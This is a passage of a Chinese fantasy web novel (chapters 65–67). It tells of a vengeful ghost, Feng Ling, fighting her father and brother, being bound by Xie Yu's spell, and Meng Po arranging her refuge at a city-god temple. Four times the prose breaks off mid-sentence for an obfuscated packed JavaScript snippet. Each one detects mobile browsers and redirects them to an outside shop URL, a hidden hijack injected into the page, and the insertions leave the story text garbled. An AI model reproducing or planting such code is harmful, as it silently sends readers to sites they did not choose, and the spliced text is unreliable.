封灵一击不成,本就负伤的身体更是失了大半的气力,如今仅凭插在地面的长剑聊以支撑。闻得此话,殷红的眼珠略略动了一下,撑着剑柄的手指似有若无地蜷了一下,立刻便又有雷电轰鸣,重又向封珏袭去。 封珏没料到封灵还能有此反应,一时躲闪不及,仓促间抬手遮挡,仍生生挨了两道,又在身上留下焦黑腥臭的印记。 却不见任何的伤口与鲜血。 “恶鬼想要解脱,便不能伤人的罢……姐姐,你就不怕我如今还只是肉身凡骨,被你劈的这两下掉了性命么?我倒是还可以投胎,姐姐你怕就只剩魂飞魄散这一条路了吧?” 封珏语含恶意地开口。 封灵微垂着脑袋,意识几乎要被绵延不绝的疼痛摧毁——不止是如今身上的伤口,还有她临死前遭受过的折磨。一桩桩、一件件,如走马灯般在脑海里不断重复,也提醒着她没有记忆的那千年时光过得有多可笑。 她根本不想知道封珏为什么会以这样的姿态留在人间,也不想知道他为什么会和自己曾称以父亲的人共同寄生在一具身体上……她只要人死,只要他们给自己赔命! 不,不止他们……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666467|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 封灵极轻微地偏了偏头,从方才起便震惊到不发一言的酆家父子身上扫过,又一个个看过倒在地上不知生死的其他酆家人,最后落在被自己救出来的酆灵英身上。 这些人,又怎么能活呢…… 他们吞食着自己的血肉,靠着从酆都大帝手里得来的驭鬼术,作威作福、豪横跋扈了一千年,如今也该付出些代价了。 还有……地府的那群鬼神。 盘桓不散的雷电似乎也感受到了召使者的激荡心绪,轰鸣声愈发的大了起来。 “姐姐要杀了他们吗?” 封珏状似苦恼般思考了一下,“……也不是不行,毕竟咱们家也不是白养废物的。可灵尧这一支到底是我的血脉,姐姐就把他们的命留下吧。其余的,由着姐姐拿去泄愤便是。” 一副为封灵考虑的模样。 可谁都知道,封灵一旦动了手,根本不必封珏再做什么,自会引来城隍与鬼差行诛灭魂魄之事。 可那又如何? 封灵低低嗤笑一声。她早半只脚踏进万劫不复之地了,魂飞魄散于她而言,或许更算是一场解脱。但在那之前,她要先把自己的仇人一个个咬食干净! “……先、先祖!” 酆父大惊失色,扭动着身体试图逃离,却被封珏一开始施下的禁锢的术法困在原地不得动弹,后者甚至饶有兴致地撑着下颌围观。 “鬼、鬼娘子饶命啊!我……之前是灵尧有眼无珠,竟不知道娘子是我酆家的另一位先祖,还、还对您出言不逊……但娘子既出现救了小女,想来是与小女认识的!就请看在小女的份上,放咱们一条生路吧!” 酆父见封珏毫无阻拦的意思,又急急看向封灵,试图靠酆灵英的名字拉些关系,最好能换回他们一家子的生机。 “放心,你跟你面前的这位先祖,你们一个都跑不了……都得给我赔命。” 封灵话音刚落,便又一次捂住嘴,闷声咳出两口血沫,胸口的剧痛更是让她眼前一阵发黑。 她知道自己为什么会变成这副模样。 记忆恢复的那一刻,她生前的死状便也一并回来了。不再是单纯出现在解玉眼前用以吓唬他的真身,而是再经历一遭自己临死前的惨状。 她的眼珠被剜去了,所以只能淌下如泪水一般的血痕;她的舌头被割掉了,所以每说一句话便会如吞针般痛苦;她的胸口被生生钉进一柄辟邪的桃木剑,所以会有被洞穿后血流不尽的巨大伤口……还有她的手脚,那些出现在皮肤上的绳痕都在提醒着她,自己的父亲和兄弟究竟都对她做过些什么。 雷电又一次袭向封珏,将后者逼得左右闪躲,一时无暇再与封灵胡言乱语。红衣鬼痛苦地喘息两声,废了些力气才从地上拔出剑。 将自己困在生前记忆里的封灵此刻早忘了自己是一只鬼,只踩着沉重的步伐走到酆父身边。垂着脑袋看了几眼,便将剑尖对准满脸恐惧的酆父,也不管身后一直替父亲求饶的锦袍少年,目露快意地就要刺下—— “鬼大王……封灵,不要!” 65. 岂能甘心 好像,有人在喊她的名字…… 封灵一时没有反应过来,仍是挥剑向下刺去,手里的动作却无意识缓了一瞬,原本对准酆父脖颈的长剑偏移了少许,又擦过前者凌乱的发丝直插进地面。 红衣鬼奇怪地歪了歪头,似乎不理解自己为什么会突然失了准头。正要拔出剑再度朝酆父刺去,方才扰过她一次的声音又出现了。 这一次,更多了三分哀求。 “封灵,不能动手……不可以动手!” 这声音…… 好像是解玉。 封灵的动作一下子顿住了,被怨恨占据的大脑总算恢复了少许清明。剑尖妥协似的垂向地面,封灵沉默着转身,与解玉四目相对。 准确来说,是看向解玉,还有紧随解玉而来的一众鬼差。 “解道长,我不是让你好好呆在屏障里等我回来么……如今算怎么回事?不单自己出来了,竟还领着这群鬼差找到了我的面前。” 封灵目光阴冷地扫了一圈,不出意外地发现全是些熟面孔。 阎魔王神色复杂地停在最前,看着封灵身上的伤口长叹了一口气。身后是双手被缚,却仍不死心地想冲出来帮忙的纪苏文,只是所有挣扎的动作都被看守他的日游神给牢牢地禁锢住了。 再往后,便是更加熟悉的面孔。 谢必安一改往日的不正经,面色沉重地盯住封灵不放。范无咎倒是跟从前别无二致,依旧是面无表情地站在白无常的身边,眉心却微不可见地拧着。其后是牛头马面,还有许许多多她曾在地府打过交道的“同僚”,如今却全部朝她举起了兵刃。 真是好大的一场笑话。 解玉却怔怔地站在那里,两目通红地盯着封灵此刻的惨烈模样,整个人更是克制不住地颤抖起来。 他的鬼大王,何时受过这样重的伤? 红衣透血,皮破肉烂,从来璨亮的红眸如今却盛满了怨恨,再不复昔日在解玉面前的灵动狡黠。 “……封灵,我来接你回家。” 两手不自觉地握紧成拳,指甲顺着力道深深地嵌入掌心。在疼痛的刺激下,解玉终于打破了沉默,“封灵,我来接你回家。” 他又一次重复道。 “这位公子的话还真是好笑,哪有带着鬼差来接恶鬼回家的……姐姐,做弟弟的奉劝你一句,还是不要相信为好。” 雷电在一众鬼差出现的刹那便消失了,封珏没了困阻自己的东西,又开始挑拨起来,根本不惧怕在人间忌讳莫深的地府灵官们。 “小封公子,冥主守诺不因当年事对你与封老道人动手,也默许了你二人投机取巧,假以半人半鬼的身份滞留人间,但也请小封公子谨慎为上,勿要逆了约定……否则,我地府的大门便不得不为二位敞开了。” 冷冽的女声自鬼差的最末端传了过来,是她曾于奈何桥畔听了千次万次的声音……是孟婆的声音。 原来,她也来了啊…… 封灵注视着熟悉的灰衣身影一步步走到她的眼前,最终停在解玉的身边。 “封灵儿……” 来者低低唤了一句,痛惜与愧疚杂糅在一起,灰眸里更是满盛着不忍心。 “……我哪里当得起泰媪大人如此亲昵的称呼。” 封灵别过眼,又退后两步,无声地将自己与眼前这群鬼差划清界限,“千年前您亲自喂我喝下了孟婆汤,这千年间又伙同整个地府将我玩弄于股掌之间……如今,您怎么还能装出一副无事发生的假模样唤我封灵儿呢!” 看着孟婆一瞬间白了的脸,封灵的心底却无一丝快意,升腾而起的只有无尽的悲凉。若可以,她真想连孟婆一并恨了去……可直到她将难听的话说出了口,才发现自己竟连这一点都做不到。 可若不是那一碗孟婆汤,她本不必像个傻子般留在地府被辖御千载的……饶是如此,她却还是会为了孟婆过去对她的好而动摇。 看来,她自己才是那个最大的笑话。 “封灵儿,我——” 孟婆还欲说些什么,却被阎魔王用力拽住了手腕,又不赞同地摇了摇头,前者只能不甘地咽下未尽的话。 “鬼师娘娘,快走……” 无视阎魔王一下子变了色的脸,纪苏文挣扎着朝封灵喊出声,旋即闷哼着弯下身子,俨然被谁给生生压制住了。 谢必安的声音紧跟着响起—— “大胆封灵!身为负罪恶鬼,竟胆敢害伤凡世生人,还不快随我等回地府论罪受罚!” 解玉一下子瞪大了眼睛,根本来不及思考便转身护在封灵身前,“诸位灵官,这其中怕是有什么误会罢……封灵她、她并没有害过这里的任何一个人,诸位凭何要带她回去!” “这是地府的内事,解道长,你一个凡人在这里瞎掺和什么……快回来!” 孟婆似乎在避讳些什么,眉头一拧便要将解玉扯回来。前者却迅速地躲开,又固执地停在原地不肯挪步,试图将身后那抹红衣遮挡得严严实实。 “纪苏文都被你们找到了,却不是给我安上相助鬼差偷逃地府的罪名……” 封灵的眼珠略略转了一下,自喉咙深处发出一声短促的哂笑,“恶鬼害伤生人,那可是永世不得超生的大罪,是要化为厉鬼后才有的罪名……谢必安,你们就这样急不可耐了?” “……女娃娃,你先冷静下来!让孟婆帮你把身上的伤给处理了,莫要再继续被怨恨所挟,免得做出无法挽回的事情!” 一直旁观的阎魔王突然开口,“你若不放心他们,便跟老夫回去……老夫护一个是护,护两个也是护!我绝不会让他们拿莫须有的罪名来定你的过失!” “五老爷,你这是要跟冥主对着干吗!” 谢必安侧头责怪了一句,带着满脸的不赞同,“咱们来时看的分明,鬼师娘……封灵的确是要对生人下手的,成为她口中的厉鬼不过是早晚的事情!也、也不算是莫须有……” “老夫当年便不赞同——” 一提起这位地府的主人,阎魔王便显出莫名的愤愤然,脱出而出的话似乎也含了更深一层的隐意。只是不等解玉从中揣测出更多的信息,前者便被孟婆厉声打断,“五老爷!” “姐姐,看来你在地府的日子过得也不怎么样啊,这些灵官大人们都巴不得你变成厉鬼呢!要不,弟弟帮你拦住他们,给姐姐你一个报复仇人的机会,或是干脆杀了弟弟我,哈哈哈哈哈!” 封珏背靠着树干,像是忘记自己才是今日这局面的始作俑者一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678139|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,噙着一抹恶意的笑如是道。 “灵儿,归、归家……” 另一张脸也跟着嘶嘶笑了起来。 到这时,谢必安一众反倒安静下来,像是在等待着什么。 “封灵,不要被他们的话困住,你只要没有害伤生人,他们便不能拿你怎么样……我也绝不会让你有事的!” 解玉警惕地注视着前方,饶是身后的封灵迟迟不见应声,也不敢在这一刻回头,唯恐自己稍一分神便被带离前者的身边。 “……好啊,我跟你们走一趟。” 须臾,身后传来轻缓的脚步声,封灵虚弱却不容置喙的声音紧跟着出现在解玉耳边。 解玉不敢置信地回头,却见封灵视若无物般越过了自己。擦肩而过的瞬间,他的掌心被塞进了一枚冰冷的物件——像是环形的玉饰。 “躲远些……” 封灵的声音低哑且微弱,只三个字便似耗尽了她全部的气力一般,声音迅速消散在湿冷的空气当中。 解玉还来不及封灵分辨话里的意味,便见前者又一次停了下来——她已经走到了谢必安的面前。 “可惜了,若你们再晚来一刻,我便能杀光他们所有人,也能认下你们给我定的这桩罪名了。不过也不妨事,我惯来爱成全别人的……如今、也再成全你们一次吧!” 尾音陡然上扬,封灵抬手便向谢必安狠狠刺去一剑,更生怕自己再一次落空般反手添上一道符箓。长剑洞穿了白无常的腰腹,符箓引来的雷电则将伤口撕裂得更甚。 谁也没有料到封灵还能有此气力,近如谢必安也没有反应过来,生生受了这一剑,直到腹间的痛楚弥漫至全身,才咬着牙试图摁住封灵紧握剑柄的手掌,却又在抬手后不明缘由的停了下来。 封灵却顾不得那么多,只带着扭曲而快意的笑将长剑抽回,反手便朝距离最近的范无咎劈去。前者已有了防备,急急侧身避过封灵的攻击,又迅速出现在有些站立不稳的谢必安身边,搀扶着便消失在原地。 红衣鬼勉强看了一眼,却再没多余的力气追上去。谢必安伤成什么样子都是活该,但他却不是封灵眼下最迫切想杀掉的家伙。 趁着其他鬼差还没有围上前,封灵迅速掐出一道繁复的法诀,而后扬手一挥,青黑色的鬼火便肆虐向前,封珏设下的浓雾被驱散,取而代之的是封灵自己难消的怨气,百望山再一次陷进无边的黑暗。 封灵持剑消失在原地。 不多时,黑雾中开始传出鬼差们的惨叫。 “……封灵,鬼大王!你在哪里!” “女娃娃,再不停下,老夫便要出手了!” “封灵儿,不要再继续了!你受不住的!” 除了解玉,他们如今还在这里假惺惺的装什么呢?可就算是解玉,也不是全然无辜的……他能找到鬼差们同来,又能在看到酆家的一切后毫无异色地挡在自己面前。 解玉也是知道些什么的…… 封灵痛苦地合了合眼,索性充耳不闻,只借着黑雾的遮挡穿梭在一众鬼差之中,而后循着记忆的方向,直奔封珏潜身的地方而去。 正当时,有谁从封灵的肩侧擦过,又迅速往她的手里塞了条细长的东西—— 勾魂索。 66. 囚鬼之术 封灵蓦地停下,却没有去拦朝她递上勾魂索的范无咎。 勾魂索是地府无常的武器,而今日出现在百望山的无常,只有谢必安和范无咎。谢必安才被她捅了一剑,根本不可能有如此迅疾的动作……所以只剩下了范无咎。 可这位黑无常,又是因为什么要给她勾魂索呢? 封灵尝试着思索,可大脑早在疼痛的刺激下成了一团浆糊,遮眼的黑雾也隐隐有消散的迹象——她的身体就快要撑不住了。 抬手将勾魂索绕回自己腕上,封灵踏着沉重的脚步又一次动作起来。再不快些,她便彻底没有机会了。 可等封灵找到封珏此前停留的树下,却遍寻不见前者的身影……似乎从她聚起这团黑雾开始,封珏的声音便消失了。 “……灵儿?” 是封珏的声音! 封灵一下子回过头,映入眼帘的却不是封珏那张与她相似的脸,而是更加苍老的,遍布皱纹与沟壑的衰迈的脸。 她父亲的脸。 再看盘踞在这人肩颈上的第二张脸,果然换成了封珏,这会正无趣地半阖着眼帘。听见封老道人出了声,立刻看向了封灵,又骨碌碌地转了两圈眼珠以示兴奋,咧着嘴开心道:“姐姐,你果然找过来了!” 却像是故意般抬高了嗓音,而后便传来解玉和孟婆等候回应的呼唤。 “你以为喊来了他们,就能够从我的手里活下来吗?” 封灵捏紧剑柄,盯着封老道人慈爱如旧的眼神,心中却一阵作呕。跟自己的儿子共同寄居在一具身体,人不人鬼不鬼地活到现在,这就是他们杀了自己之后得来的回报么…… 用尽全力朝前一刺,剑尖却只堪堪擦过封老道人的脖颈,又顺着惯性没入前者身后的树干。封灵的眼前一阵发黑,鲜血不住地往下淌着……到底是强弩之末,她想凭着这样的身体复仇,还是太高看自己了。 “……逆女,竟敢对你的父亲和胞弟下如此狠手!当初就该将你挫骨扬灰,也省得留下今日的后患!” 封老道人露出被冒犯的怒意,气急败坏地朝封灵挥去一掌。封灵松开剑柄,身体的反应在这一刻快过大脑,急急退后两步躲开,又将自己隐于黑雾之下,这才嘲讽般回道:“你也配提父亲这两个字?我呸!” 又是几声闷咳,封灵蜷起手指试图再一次召来雷电,却只堪堪在指尖迸出几缕微弱的光点,几下挣扎后便彻底消失。 “姐姐,恶鬼都像你这么弱吗?” 封珏不改恶意的声音突然从封灵耳边响起,后者肩膀旋即一痛,曾经遭五指洞穿过的部位又一次被生生撕裂。封灵咬着牙咽下所有痛呼,本就伤痕累累的身体终于再支撑不住,后背重重倒向树干,又顺着惯性一点点滑落下去。 “姐姐,杀了我们把自己变成厉鬼有什么好的,”封珏的声线中带着似有若无的诱引,“离了地府,回来与咱们团圆不好吗?姐姐的千年鬼力,再加上我父子二人的驭鬼之术,留在人间岂不逍遥自在的多?” “……留在人间?” 封灵一手搭在膝上,一手撑住地面,微垂着脑袋一时看不清表情,“被你们当做无根之鬼永世驭使,还是在你们利欲熏心的时候重复被推出去的命运……想想都觉得恶心,还是杀了你们死得干净些。” 封老道人的表情有些扭曲,只是不待说话便又换回了更年轻的那张脸。重新占据身体主导权的封珏似打圆场般笑了起来,“姐姐,你这话说的真是太伤弟弟的心了……弟弟做的这一切,可都是为了咱们封家的鼎盛长存哪!” “……舍弃自己姓氏的鼎盛长存吗?” 说话间,因封灵的动作而堆曳在地面的赤红袖衣像被轻风拂过般微微抖动了一下,又迅速蹿出一截细长的殷红绳索,分毫不差地直冲封珏面门而去。 正是此前缠回手腕的勾魂索。 后者险险躲开,退后几步便想如封灵一般藏进黑雾。可封灵却由不得他再继续躲藏,伤痕累累的身体在这一刻迸发出无穷的气力,红衣鬼甩过勾魂索便又迎了上去。 殷红的绳影在半空中不住地翻飞,一下套一下,一招连一招,时快时慢,纵横翻涌,只把封珏逼得节节败退,显出招架不住的狼狈之色。 看着封灵堪称狠厉的攻势,封珏踉跄躲闪的同时,眼底的怨恨也一点点浮现出来。 当年,人间出现鬼祸时便是如此……他只能看着自己的姐姐威风凛凛地大杀四方,受尽周边村民的爱戴,而他却要因为术法不佳沦落为受保护的一方。 他哪里及不上她? 活该她被钉死在桃木棺中,活该她为了家族鼎盛献出命去,活该……她沦为恶鬼受尽折磨! 封珏心绪一时激荡,未留意到勾魂索又直扑向他的面门。等凝神反应过来,左右已避无可避,脚下一滑便往地上摔去。耳边响起酆老道人慌乱的嘶喊,胸前便被勾魂索狠狠地抽了一道。 “啊啊啊!” 封老道人惨叫一声,肮脏浑浊的鬼身便不受控制地从封珏的身体脱离,又歪歪斜斜地倒在一旁。再看封珏,盘踞在肩颈的第二张脸消失了,但本来灵活的动作也僵硬了大半——左侧的身体已全然尸化,皮破肉烂如封灵一般。 “……不、不可能!” 封珏目眦尽裂,却依旧掩盖不住自己眼底的惊慌与颤栗。恐惧在这一刻占了上风,妒忌在死亡面前根本不值一提。封珏压根顾不上哀声叫痛的封老道人,脚下不动声色地换了个方向,便想从封灵面前逃离。 只是还不等付诸行动,殷红的绳索便又一次抽了过来。封珏还想再躲,但烂了一半的身体在这一刻成为了绊脚石——封老道人才将遭遇的一切,又在封珏自己的身上重新上演。 而封灵,也终于明白范无咎为什么会在混乱中塞给她这根勾魂索…… 看来,她的运气也不差。 封灵低低笑了两声,痛意与愉悦交织出现在一张脸上,扭曲着透出几分罗刹模样。红衣鬼翻袖抹去自己脸上的血迹,又一步一步走到插着长剑的树干身侧。两手握上剑柄,封灵用尽全力将其拔了出来,却又紧跟着脱力般垂下剑尖。 拖着沉重的身体停在封家父子跟前,封灵强迫自己举起长剑,看着瑟瑟发抖的两人露出一抹扭曲而解脱的笑—— “爹,弟弟,随我一起下地狱罢!” 可终究,没能如封灵所愿。 “……幽冥缚魂,锁链缠身……万鬼难逃……囚!” 长剑“哐当”一声跌落在地,封灵的身体被突然出现的数条铁链紧紧锁住,又拖着她重重向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715115|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后倒去,直到落入一个温热的怀抱—— “封灵,不可以……” 解玉的声音抖得不成样子,动作却再轻缓不过。下颌抵住封灵额头,又小心翼翼地避过一处又一处的伤口,终于将他的鬼大王搂进怀里。 “……解玉?” 封灵无意识呢喃出男人的名字,而后涌上心头的却是被背叛的愤怒,“解玉!你怎么敢用我教你的术法来对付我!” 【无关灵力强弱……只是施用此术时,须得被囚之鬼的全部信任……】 【……放心吧,解道长,咱们可是同伙呢,当然是彼此信任的。】 曾经玩笑般说过的话,如今却俱数作用在了她自己的身上,这何尝不算是一种因果循环呢…… “放开我……放开我!解玉,让我杀了他们,我要杀了他们!解玉,你给我解开!” 乌发凌乱的铺散在地面,封灵发出不甘心的凄厉喊叫,却因被铁链困缚始终无法动弹。而解玉,除了反复呢喃着不行与歉语,也再没有任何其他的反应,直等到前者因伤势彻底失去挣扎的能力。 “解玉,你混蛋……” 封灵的指尖无力地从解玉的衣角上划过,终是绝望的合上了眼睛。 笼于百望山的黑雾于这一刻彻底散去。 “解道长高义,此番相助我地府缉拿厉鬼的功劳,谢某一定会如实奏禀冥主,也好为解道长记一笔大大的功业……来日或还能与道长共为同僚呢!” 视线从解玉怀里的那抹红衣上掠过,谢必安的神色有些晦涩难懂。抬手制住想要上前的鬼差,白无常拱手谢过后又道,“解道长,此间事毕,你可以带着其他凡人离开了……将封灵交还给我等吧。” “……封灵不是厉鬼,也未行害伤生人之事,你们不能以此带她回去论罪。” 像是生怕把封灵弄疼一般,解玉动作极轻地将其安放于地面之上,这才站起身迎向漠然注视的鬼差一行。 “她方才就想杀人,如今又被咱们撞见了第二次。不是厉鬼,早晚也会变成厉鬼……要我说,冥主当年就不该许她鬼师娘娘之位,如今倒养成一个祸害了!” 日游神显然还在为纪苏文的事情对封灵不满,如今有了落井下石的好机会,当即便阴阳怪气起来。 “杀人……她杀了谁?诸位不都好端端地站在这里吗!” 侧身挡去日游神不怀好意的注视,解玉近乎愤怒地反驳。 “竖子还想狡辩,旁边那两个——” 日游神横眉竖眼,抬手便往旁边一指,却见方才还缩在树干旁的封家父子此刻已不见了踪影,只剩一具灰白腐烂的僵硬尸体——竟是当着他们的面逃脱了。 “没用的东西,眼皮子底下的玩意儿都能被你们放跑,酆都城真是白养——” 日游神还欲叱骂,却被孟婆清泠泠的声音径自截断,“如今便只是两只脱逃地府的孤鬼罢了,有什么好着急的……让阴兵和鬼差去把他二人拘回来。哪用得着你来替冥主操心!” 缓了缓,又道:“解玉,我不会让封灵儿有事的,阎魔王此前也已承诺……先让她随我们回地府,可好?” “……泰媪大人,如今,我却是不敢再信您了。” 解玉犹豫一瞬,终是摇了摇头。 67. 两相对峙 “解玉,莫要意气用事。” 孟婆脸色微变,“封灵儿受的伤是生前记忆醒转后留于鬼身的刻痕,若继续在没有鬼气滋养的地方停留,只怕会越来越严重……你既心疼她,又何必断她生路!” “我断她生路?” 解玉露出一抹比哭还难看的笑,“断她生路的,是千年前咒杀了她的父亲和兄弟,是为了抹去她的记忆,亲自喂她喝下孟婆汤的泰媪大人你,是地府里为解自己因果,整整诓骗了她一千年的酆都大帝!” 此话一出,众鬼噤声。 良久,谢必安才道:“解道长,你倒比我想象中要聪明许多。只是,封灵可知道你已经猜出了一切?细论起来,解道长今日所为,不也是在行诓骗之事吗……如此,与我等又有何区别?” “……不必无常大人操心,”解玉失去血色的一张脸惨白无比,“我自会为自己做下的事情赎罪,诸位却未必有解某这样的觉悟了。” 谢必安面色微沉,却奇怪地没有再继续反驳。 “多说无益,还是先遵冥主吩咐带封灵回去。小黑,你和小白一起,若解道长还想做什么阻拦,就连他一块儿绑了。” 孟婆突然出声,说的却是让在场一众都觉莫名的命令。不过是一介凡人,如何需要两位无常一起动手,岂非太大材小用了些? 谢必安与范无咎约莫也有此疑问,彼此交换过眼神,最后还是按照孟婆的吩咐准备上前拿人。 “解道长,你不是封灵,也没有她画符纹对敌的本事。以你之能,想在小黑和小白面前护住她太过艰难,还是就此打住吧!” 孟婆又道。 神态漠然,语气更是一贯的平静。 解玉却从这句话里听出了其他的意味,惊疑不定的目光似蜻蜓点水一般从孟婆的脸上掠过,又迅速状若无事般移开。 看着逐渐逼近的黑白无常,解玉眼神几度变换,最后还是犹豫着挪开了脚步——不出意外地惹来日游神嘲讽的一笑。 “……解道长能想通,真是再好不过。” 谢必安勉强勾起嘴角,眉宇间却似乎多了两分憾意。 无声叹了口气,谢必安带着被封灵洞穿的伤口,与范无咎一道从男人的身边穿过。正要俯身将封灵带走,后肩膀处却突然被谁轻轻拍了一下,旋即有东西贴了上来。 身体一瞬间被定住。 “得罪了……” 解玉低声道了句歉,转身绕到谢必安和范无咎的身后,一手一个的掐住了两位无常的脖颈,立时冷下眉眼,作出威胁的模样,“泰媪大人,我还是不能让你们带走封灵……除非,从解某的尸体上踏过去!” 谁也没料到解玉还有这样的本事,原本摩拳擦掌的鬼差们也开始犹豫不决起来,彼此对视着却不敢第一个上前。 “竖子敢尔!” 日游神的眼睛几乎要喷出火来,翻手现出武器铜锤便要对解玉动手,却被阎魔王冷哼一声拦了下来,“老夫虽看不惯你,但也不乐意自己人冲出去丢脸……那小子抬手便能制住小黑和小白,还能让他们毫无反击之力,你呢?从前跟他俩在地府打架,拢共能撑上几轮?” 余光却似有若无的瞥了孟婆一眼。 “五老爷说的在理……日游神,你也该改改自己的性子了,不要总是这么冲动。”孟婆自然接话,“为了一只待罪的厉鬼,赔上你和两个无常的命也忒不值当。还是从长计议为好。” 比起被凡人威胁挑衅,自然还是他的命更重要些。日游神的目光在被解玉掐住的黑白无常身上打了个转儿,摸着脖子又退了回去。 “解道长,咱们也是奉差办事,你又何必为难我们呢?” 孟婆微不可查的松了口气,又与解玉说起话来。 “泰媪大人,解玉岂敢冒犯诸位灵官,不过是想求封灵一个平安罢了,还请泰媪大人成全。” 解玉大概猜出了孟婆的打算,虽奇怪于她两异的态度,可眼下只要能护住封灵,顺水推舟陪这位鬼神演一出戏又如何? “解道长,我等并非铁石心肠之辈,可到底受冥主差使前来缉拿,不能任由封灵继续滞留人间……更何况,百望山里发生的一切也与她脱不开干系。你这样,实在是不妥。” 解玉听着却皱起了眉,掐住黑白无常脖子的手更是不自觉收紧。难道是他想错了,孟婆根本就没打算帮一把手? 好在下一刻,孟婆的声音又响了起来,“解道长,你看这样如何……找个你我两方都能接受的地界,暂时将封灵安置在那处,待我等回去奏禀冥主他老人家以后,再来定封灵最终的归宿。” “……何处?” “北地城隍庙。” 孟婆迎上解玉谨慎的目光,缓缓道。 如今这情境,有与封灵交好的乌贺坐镇的北地城隍庙确实不失为一个好去处,可解玉的心却沉得更厉害了。孟婆既然能主动提起北地城隍庙,那只能说明乌贺也是当年的知情者之一……他也在诓骗封灵。 “城隍老爷公允,又得泰媪大人的话,想来不会做出驱离我们的糟污事来。可,封灵的伤又该怎么办?城隍庙里怕是难有存在鬼气的地方。” 解玉将这些杂念从大脑里摒除。 眼下可不是细想这些的时候,顾好封灵才是最要紧的。 “鬼气滋养鬼身,但那是下下之选,”孟婆面色和缓了许多,“城隍庙里有香火,有救扶百姓后奉祭的功业,这些都比鬼气更好,也更利于封灵的休养……你放心,我会先与北地城隍主交代好一切,在冥主做下最后决断前,定不会再让封灵出任何事情。” 想来是顾忌着身后的鬼差,和一旁面有不忿的日游神,孟婆并没有透露任何自己与乌贺认识的讯息,只摆出一副公事公办的样子。 “……多谢泰媪大人。” 解玉收回搭在无常脖颈上的手,抱拳朝孟婆深深一拜。并非继续做戏,而是真心实意的感激。 “你们便先回去罢,我陪解道长往城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725377|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隍庙走一遭,将事情都处置妥当了再回去……你们当也知道地府的规矩,过后若让我听见任何关于今日的传言,一律交由各殿及诸司论罚。” 孟婆信步走到解玉身侧,极隐晦的瞥了眼封灵情况,方才往黑白无常的后背上轻拍了两下。无视前者恢复正常后投来的询问视线,孟婆转头吩咐起余下的鬼差来,又刻意在日游神的身上停留了许久。 “泰媪大人这样做,怕不是违背了冥主的意思,想故意放某人一条生路……谁不知道您与地上躺的那个关系亲近哪,如此怕是有偏帮之嫌。” 日游神小声嘟囔,显然还有不服。 “你小子,惯会煽风点火的,老夫还没与你论说纪苏文的事情呢!走走走,跟老夫回第五殿去,再让陆之道从察查司滚过来,今日不说个清楚,你们就都别回去了!” 将手背在身后,又朝孟婆和解玉简单比划了个手势,阎魔王利落地将纪苏文拉到自己身边,又骂骂咧咧地扯住日游神不放,三道影子立时从林间消失。 没了能做主的,余下的鬼差又都是与封灵无仇无怨的,便也收了兵器,听从孟婆的话结伴离开。有个别平日里与封灵有交情的,还偷摸在地上留了几瓶装有自己鬼气的瓷盅,试图在不违地府律令的前提下帮上一帮。 解玉将一切看在眼里,心中酸楚更浓。 这期间,孟婆始终面无表情地看着,直等到最后一名鬼差消失,戴在脸上的冷淡面具才终于碎裂。急忙奔到封灵的身侧,孟婆顾不得解玉是何反应,只半蹲下身子,掌心贴住封灵手背,又将自己的鬼力一点点覆盖上去。 如此好一阵,封灵的脸上才恢复了少许血色,身体的伤口却还是没能全部愈合。 “封灵儿的伤太深太重,便是我也没办法立刻治好她。乌贺那边我早就说好了,这就带你们过去……解道长,之后的一段日子,你就和封灵儿暂留城隍庙养伤吧。” “泰媪大人,为什么……” 解玉不解。 “解道长,你在人间多年,当懂各为其主的道理。我既为地府属官,一举一动便该以地府为先,以酆都大帝为先。当年的事情我无从辩驳,千载至今亦对她有过许多的瞒骗之举……可独独待她的这颗心,从未有任何作假。” 听完孟婆的话,解玉一时间竟不知如何作答,只能偏过头看着封灵,发出一声意味不明的轻语。从前也好,现在也罢,他似乎都没有资格替封灵质问,更别提什么谅解了。 “……我先将你们送去城隍庙,至于倒在地上的其他人,抹了他们的记忆,将他们送回酆家也就是了。” 孟婆遥遥扫了一圈,心中大抵有数。 